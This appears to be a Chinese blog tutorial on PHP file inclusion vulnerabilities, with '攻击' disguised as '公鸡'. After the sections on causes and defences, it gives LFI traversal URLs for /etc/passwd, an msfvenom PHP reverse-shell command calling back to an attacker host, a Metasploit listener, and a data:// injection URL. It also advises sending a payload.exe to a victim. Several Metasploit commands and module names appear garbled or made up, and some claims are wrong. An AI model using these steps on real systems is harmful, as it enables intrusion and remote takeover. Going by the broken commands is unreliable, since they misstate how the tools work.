什么是文件包含?

文件包含_应用程序

文件包含漏洞(File Inclusion Vulnerability)是一种发生在Web应用程序中的安全漏洞,它源自应用程序对用户提供的输入(如请求参数)未经充分验证或过滤就用于动态加载外部文件的过程。这类漏洞允许公鸡者通过精心构造的请求,诱导服务器错误地包含或执行非预期的本地或远程文件,从而可能导致以下严重后果:

  1. 敏感信息泄露:公鸡者可能包含含有敏感信息的系统文件,如配置文件(可能包含数据库凭据、API密钥等)、日志文件、源代码文件等,从而获取对系统内部细节的了解。
  2. 远程代码执行:如果应用程序允许包含远程文件(Remote File Inclusion, RFI),公鸡者可能将恶意代码托管在远程服务器上,然后诱使目标应用程序加载并执行该代码。这通常会导致完全的服务器接管。
  3. 本地文件包含(Local File Inclusion, LFI):即使不允许远程包含,公鸡者也可能利用本地文件包含漏洞访问服务器上的任意本地文件,包括但不限于系统文件、用户上传的文件等,尝试寻找可执行代码的载体或间接导致RCE。
  4. 拒绝服务公鸡(Denial of Service, DoS):通过包含大量大文件或循环包含文件,公鸡者可能消耗服务器资源,导致服务不可用。

文件包含漏洞的成因主要包括:

  • 不安全的文件包含函数使用:程序使用如 PHP 的 include()require()include_once()require_once() 等函数,或类似其他编程语言中的文件包含机制时,未对用户可控的参数进行严格过滤或校验。
  • 动态路径处理不当:应用程序动态构建文件包含路径时,直接使用未经验证的用户输入,如查询字符串参数、POST数据等。
  • 权限管理不足:服务器配置或应用程序权限设置不合理,使得公鸡者可以通过文件包含漏洞触及原本不应访问的文件。

公鸡手法包括:

  • 直接路径注入:公鸡者直接提供恶意文件的完整路径或相对路径。
  • 利用文件协议:利用如PHP的php://inputphp://filter等协议绕过某些安全限制,甚至利用Zip压缩包内的文件实现包含。
  • 目录遍历公鸡:利用“../”等特殊字符尝试穿越目录结构,访问超出预期范围的文件。

防御措施包括:

  • 输入验证:对用户提交的所有影响文件包含操作的参数进行严格验证,确保它们只包含预期的、安全的文件路径。
  • 白名单策略:仅允许包含已知安全的固定文件或位于指定目录下的文件,禁止包含任何用户可控的路径。
  • 转义或去除危险字符:对用户输入进行适当的转义或去除可能用于目录遍历的特殊字符。
  • 配置限制:调整服务器和应用程序配置,禁用不必要的文件包含功能,如禁止远程文件包含。
  • 最小权限原则:确保运行Web应用程序的账户只有访问执行任务所需文件的最小权限。
  • 安全编码实践:开发者应遵循安全编码规范,避免在代码中直接使用不受信任的数据来构建文件包含语句。

综上所述,文件包含漏洞是由于Web应用程序未能妥善处理用户提供的文件路径输入,导致公鸡者能够操控应用程序加载并执行任意文件,从而对系统安全构成严重威胁。有效的防御需要结合严格的输入验证、合理的权限控制、安全配置和编码实践等多方面措施。

引发文件包含漏洞的四个函数:

文件包含_文件包含_02

include()

include_once()

require()

require_once()

文件包含漏洞是由于程序设计不当,使得公鸡者能够控制或影响包含文件的路径,进而可能导致恶意代码执行或敏感信息泄漏。在PHP语言中,有四个主要的函数可能会引发文件包含漏洞:

  1. include(): 此函数包含并运行指定的文件。如果文件包含的是PHP代码并且该代码被执行,则可能会导致安全问题。
  2. include_once(): 与include()类似,但只有在文件尚未被包含过的情况下才会包含文件。这可以防止重复包含同一个文件。
  3. require(): 与include()类似,但若文件无法被包含,require()函数将产生一个致命错误并终止脚本执行。这可能比include()产生更严重的问题,因为应用程序会中断。
  4. require_once(): 结合了require()和include_once()的特点,只有在文件尚未被包含的情况下才会包含文件,并且如果文件包含出错,将会导致脚本终止。

文件包含_应用程序_03

检测方法

本地文件包含漏洞利用

文件包含_文件包含_04

利用bp抓包修改URL然后看回包

文件包含_应用程序_05

本地文件包含漏洞(Local File Inclusion,LFI)是一种常见的Web应用程序安全漏洞,它允许公鸡者通过修改URL中的参数来访问服务器上的任意文件。下面是一个利用本地文件包含漏洞的示例:

假设有一个Web应用程序存在本地文件包含漏洞,公鸡者可以通过构造恶意的URL来读取服务器上的敏感文件。例如,如果Web应用程序的URL结构如下:

http://example.com/index.php?page=

公鸡者可以构造一个恶意的URL,将page参数设置为要读取的文件路径:

http://example.com/index.php?page=../../etc/passwd
或是
http://example.com/index.php?page=etc/passwd

在这个例子中,../../etc/passwd表示上两级目录中的etc目录下的passwd文件。当Web应用程序接收到这个URL时,它会尝试包含该文件的内容并将其返回给客户端。由于passwd文件通常包含系统用户的用户名和密码信息,公鸡者可以通过这种方式获取敏感数据。

使用msf生成poc

在Metasploit框架中,可以使用local_file_inclusion模块来生成一个本地文件包含(LFI)的漏洞利用代码。下面是一个简单的例子,展示如何使用Metasploit来创建一个LFI的POC(Proof of Concept)。

步骤 1: 启动Metasploit控制台

打开终端并输入以下命令来启动Metasploit控制台:

msfconsole

步骤 2: 导航到模块

在Metasploit控制台中,可以使用use命令导航到想要使用的模块。在本例中,我们需要使用local_file_inclusion模块。

use auxiliary/admin/http/local_file_inclusion

步骤 3: 设置参数

接下来,需要设置几个参数以便于生成POC。主要包括RHOST(目标主机的IP地址),RPORT(目标主机的端口号),以及TargetURI(目标应用程序的根路径)。

set RHOSTS [target_IP_address]
set RPORTS [target_port]
set TargetURI / [path_to_application]

步骤 4: 生成POC文件

使用generate命令来生成POC文件。这个文件将会包含必要的代码来利用目标系统上的LFI漏洞。

generate

步骤 5: 保存并退出

生成的POC文件默认会在控制台中显示。你可以将其复制并保存为.php文件,或者使用save命令将其保存到本地文件中。

save poc.php

步骤 6: 使用POC

现在,你已经有了一个名为poc.php的POC文件。使用这个文件来测试和验证LFI漏洞的存在。请记住,这应该在你有权限访问的系统上进行,或者在具有适当授权的测试环境中进行。

请注意,使用Metasploit框架来生成漏洞利用代码应当谨慎进行,并且只应用于合法的安全测试和研究活动中。未经授权的渗头测试可能会违反法律和道德标准。

文件包含_文件包含_06

文件包含_php_07

msf生成payload

注意一点,这里可能会有一个注释符,虽然在文件包含中不影响,但是还是尽量删掉。

要使用Metasploit Framework(MSF)生成本地文件包含的payload,你需要遵循以下步骤:

  1. 首先确保你已经安装了Metasploit Framework。如果没有,请访问官方网站下载并安装:https://www.metasploit.com/
  2. 打开终端或命令提示符,输入msfconsole启动Metasploit。
  3. 在Metasploit中,选择适当的payload。例如,如果你想生成一个PHP本地文件包含的payload,可以使用php/local_inclusion模块。输入以下命令来搜索该模块:
search php/local_inclusion
  1. 找到合适的payload后,使用use命令选择它。例如:
use exploit/multi/http/php_local_inclusion_rce
  1. 设置payload所需的选项。例如,设置目标URL、LHOST(你的IP地址)和LPORT(你希望监听的端口)。例如:
set RHOSTS target.com
set LHOST 192.168.1.100
set LPORT 4444
  1. 生成payload。输入以下命令:
generate -t exe > payload.exe

这将生成一个名为payload.exe的文件,其中包含你的payload。

  1. 将生成的payload发送给目标用户,并等待他们执行它。当目标用户执行payload时,你的Metasploit会收到一个反向连接,然后你可以控制目标系统。

注意:这些示例仅用于教育目的。在未经授权的情况下尝试公鸡他人的系统是非法的。

文件包含_应用程序_08

设置监听

在Metasploit Framework (MSF) 中生成针对本地文件包含(Local File Inclusion, LFI)的Payload,并进行监听,通常涉及到创建一个能够被包含的恶意文件,该文件通常包含能够被服务器解析并执行的代码。由于LFI漏洞本身并不直接允许执行远程代码(不像Remote File Inclusion, RFI),我们通常需要利用LFI漏洞读取服务器上的特定文件(如PHP配置文件等),或者通过技巧性包含一个可以让我们进一步提升权限的本地文件。以下是一个简化的示例流程,假设你已经安装了Metasploit并且有基本的操作知识。

第一步:准备恶意代码

首先,你需要创建一个能够被目标服务器执行的恶意代码。这通常是一个Web shell,比如一个简单的PHP反向shell。但是,因为LFI漏洞,你可能需要通过包含特定字符或编码来绕过服务器的安全检查。这里,我们直接进入生成Payload的步骤,假设我们将通过LFI包含后能够执行该Payload。

第二步:生成Payload

使用msfvenom生成一个适合LFI场景的Payload。由于直接执行远程代码不太现实,我们考虑生成一个Base64编码的Payload,然后通过LFI包含并解码执行。这里以生成一个Base64编码的PHP反向shell为例:

1msfvenom -p php/reverse_php LHOST=你的公鸡机IP LPORT=监听端口 -e x86/shikata_ga_nai -i 5 -b '\x00' -f raw | base64
  • -p php/reverse_php 指定生成PHP反向shell的Payload。
  • LHOST 和 LPORT 分别是你用来接收连接的公鸡机IP地址和端口。
  • -e x86/shikata_ga_nai 是编码选项,用于绕过某些过滤,这里使用的是Shikata Ga Nai编码器。
  • -i 5 表示编码五轮,增加混淆度。
  • -b '\x00' 指定要避开的坏字符,这里避免空字符。
  • -f raw 表示原始数据输出格式。
  • 最后,通过管道|将输出传递给base64命令进行编码,便于在LFI漏洞中使用。

第三步:设置监听

在Metasploit框架中设置监听器来接收Payload执行后的连接:

  1. 打开Metasploit终端。
  2. 启动一个新的监听:
1use exploit/multi/handler
2set PAYLOAD php/reverse_php
3set LHOST 你的公鸡机IP
4set LPORT 监听端口
5exploit -j

第四步:利用LFI包含Payload

接下来,你需要找到目标应用中的LFI漏洞点,并尝试包含你刚刚生成并编码的Payload。这通常涉及构造一个特定的URL,其中包含Payload的Base64编码字符串,确保它能够被正确解码并由服务器执行。例如,如果漏洞URL是http://target.com/vuln.php?page=, 则构造URL可能是:

1http://target.com/vuln.php?page=data://text/plain;base64,这里放你的base64编码Payload

请注意,实际利用中可能需要根据目标环境调整包含的方式,如使用不同的数据流协议(如php://input)或特定的文件包含路径。